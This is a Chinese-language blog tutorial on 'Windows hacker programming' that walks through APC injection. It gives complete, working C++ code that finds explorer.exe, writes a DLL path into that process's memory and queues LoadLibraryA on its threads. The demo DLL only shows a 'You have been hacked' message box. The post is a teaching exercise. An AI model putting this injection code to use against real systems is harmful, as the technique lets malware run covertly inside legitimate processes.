Windows黑客编程之APC注入

描述

  • 获取目标进程的每一个线程,向APC队列中插入LoadLibrary函数,配合dll路径参数,可以实现在目标进程中注入dll

准备知识

APC注入

  • 每个线程都有自己的APC队列,当线程挂起进入可通知状态时,会执行APC队列中的函数
  • 如果在目标进程中写入dll路径,在APC队列中插入LoadLibrary函数,参数设为dll路径,则线程状态改变时,会调用加载函数,加载dll
  • 为了确保能执行插入的APC,应该在目标进程的每一个线程中都插入APC函数

指针和引用传参

  • 本质上都是传的地址,可以改变实参的值
  • 二级指针传参,即实参用一级指针的地址,形参用二级指针,通过这种方式可以同时改变原一级指针的指向和其指向的值

代码

  • 分为注入程序和dll程序

注入程序

  • 外壳代码,设置目标程序名和注入dll的路径
// APC_Test.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include "APCInject.h"


int _tmain(int argc, _TCHAR* argv[])
{
	BOOL bRet = FALSE;

	// APC注入
#ifdef _WIN64
	bRet = ApcInjectDll("explorer.exe", "C:\\Users\\dflac_961unic\\Desktop\\TestDll2.dll");
#else
	bRet = ApcInjectDll("explorer.exe", "C:\\Users\\DemonGan\\Desktop\\APC_Test\\Debug\\TestDll.dll");
#endif
	if (bRet)
	{
		printf("APC Inject OK.\n");
	}
	else
	{
		printf("APC Inject ERROR.\n");
	}

	system("pause");
	return 0;
}
  • 根据程序名获取ID:使用进程快照
// 根据进程名称获取PID
DWORD GetProcessIdByProcessName(char* pszProcessName)
{
	DWORD dwProcessId = 0;
	PROCESSENTRY32 pe32 = { 0 };
	HANDLE hSnapshot = NULL;
	BOOL bRet = FALSE;
	::RtlZeroMemory(&pe32, sizeof(pe32));
	pe32.dwSize = sizeof(pe32);

	// 获取进程快照
	hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (NULL == hSnapshot)
	{
		ShowError("CreateToolhelp32Snapshot");
		return dwProcessId;
	}

	// 获取第一条进程快照信息
	bRet = ::Process32First(hSnapshot, &pe32);
	while (bRet)
	{
		// 获取快照信息
		if (0 == ::lstrcmpi(pe32.szExeFile, pszProcessName))
		{
			dwProcessId = pe32.th32ProcessID;
			break;
		}

		// 遍历下一个进程快照信息
		bRet = ::Process32Next(hSnapshot, &pe32);
	}

	return dwProcessId;
}
  • 根据进程ID获取其所有线程ID:这里使用了二级指针,实参一级指针,通过形参可以改变实参的指向,使其指向线程ID数组
// 根据PID获取所有的相应线程ID
BOOL GetAllThreadIdByProcessId(DWORD dwProcessId, DWORD** ppThreadId, DWORD* pdwThreadIdLength)
{
	DWORD* pThreadId = NULL;
	DWORD dwThreadIdLength = 0;
	DWORD dwBufferLength = 1000;
	THREADENTRY32 te32 = { 0 };
	HANDLE hSnapshot = NULL;
	BOOL bRet = TRUE;

	do
	{
		// 申请内存
		pThreadId = new DWORD[dwBufferLength];
		if (NULL == pThreadId)
		{
			ShowError("new");
			bRet = FALSE;
			break;
		}
		::RtlZeroMemory(pThreadId, (dwBufferLength * sizeof(DWORD)));

		// 获取线程快照
		::RtlZeroMemory(&te32, sizeof(te32));
		te32.dwSize = sizeof(te32);
		hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
		if (NULL == hSnapshot)
		{
			ShowError("CreateToolhelp32Snapshot");
			bRet = FALSE;
			break;
		}

		// 获取第一条线程快照信息
		bRet = ::Thread32First(hSnapshot, &te32);
		while (bRet)
		{
			// 获取进程对应的线程ID
			if (te32.th32OwnerProcessID == dwProcessId)
			{
				pThreadId[dwThreadIdLength] = te32.th32ThreadID;
				dwThreadIdLength++;
			}

			// 遍历下一个线程快照信息
			bRet = ::Thread32Next(hSnapshot, &te32);
		}

		// 返回
		*ppThreadId = pThreadId;
		*pdwThreadIdLength = dwThreadIdLength;
		bRet = TRUE;

	} while (FALSE);

	if (FALSE == bRet)
	{
		if (pThreadId)
		{
			delete[]pThreadId;
			pThreadId = NULL;
		}
	}

	return bRet;
}
  • APC注入函数:打开目标进程,申请内存,写入dll路径,获取loadlibrary地址,遍历目标进程的所有线程,向其APC队列中插入loadlibrary函数和dll路径参数
BOOL ApcInjectDll(const char* pszProcessName, const char* pszDllName)
{
	BOOL bRet = FALSE;
	DWORD dwProcessId = 0;
	DWORD* pThreadId = NULL;
	DWORD dwThreadIdLength = 0;
	HANDLE hProcess = NULL, hThread = NULL;
	PVOID pBaseAddress = NULL;
	PVOID pLoadLibraryAFunc = NULL;
	SIZE_T dwRet = 0, dwDllPathLen = 1 + ::lstrlen(pszDllName);
	DWORD i = 0;
	char newFileName[100];

	do
	{
		strcpy_s(newFileName, pszProcessName);
		dwProcessId = GetProcessIdByProcessName(newFileName);
		if (0 >= dwProcessId)
		{
			bRet = FALSE;
			break;
		}

		bRet = GetAllThreadIdByProcessId(dwProcessId, &pThreadId, &dwThreadIdLength);
		if (FALSE == bRet)
		{
			bRet = FALSE;
			break;
		}

		hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
		if (NULL == hProcess)
		{
			ShowError("OpenProcess");
			bRet = FALSE;
			break;
		}

		pBaseAddress = ::VirtualAllocEx(hProcess, NULL, dwDllPathLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
		if (NULL == pBaseAddress)
		{
			ShowError("VirtualAllocEx");
			bRet = FALSE;
			break;
		}

		::WriteProcessMemory(hProcess, pBaseAddress, pszDllName, dwDllPathLen, &dwRet);
		if (dwRet != dwDllPathLen)
		{
			ShowError("WriteProcessMemory");
			bRet = FALSE;
			break;
		}

		pLoadLibraryAFunc = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");
		if (NULL == pLoadLibraryAFunc)
		{
			ShowError("GetProcessAddress");
			bRet = FALSE;
			break;
		}

		for (i = 0; i < dwThreadIdLength; i++)
		{
			hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadId[i]);
			if (hThread)
			{
				::QueueUserAPC((PAPCFUNC)pLoadLibraryAFunc, hThread, (ULONG_PTR)pBaseAddress);
				CloseHandle(hThread);
				hThread = NULL;
			}
		}
		bRet = TRUE;
	} while (FALSE);

	if (hProcess)
	{
		::CloseHandle(hProcess);
		hProcess = NULL;
	}
	if (pThreadId)
	{
		delete[] pThreadId;
		pThreadId = NULL;
	}
	return bRet;
}

dll程序

  • 在dllmain中调用一个messagebox,实现dll加载时弹窗提示
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    {
        ::MessageBox(NULL, "You have been hacked, hahaha!", "From APC!", MB_OK | MB_ICONWARNING);
        break;
    }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

结果

  • 运行注入程序,成功在explorer进程中注入TestDll2.dll,弹窗提示
posted @ 2023-02-19 23:05  z5onk0  阅读(128)  评论(0编辑  收藏  举报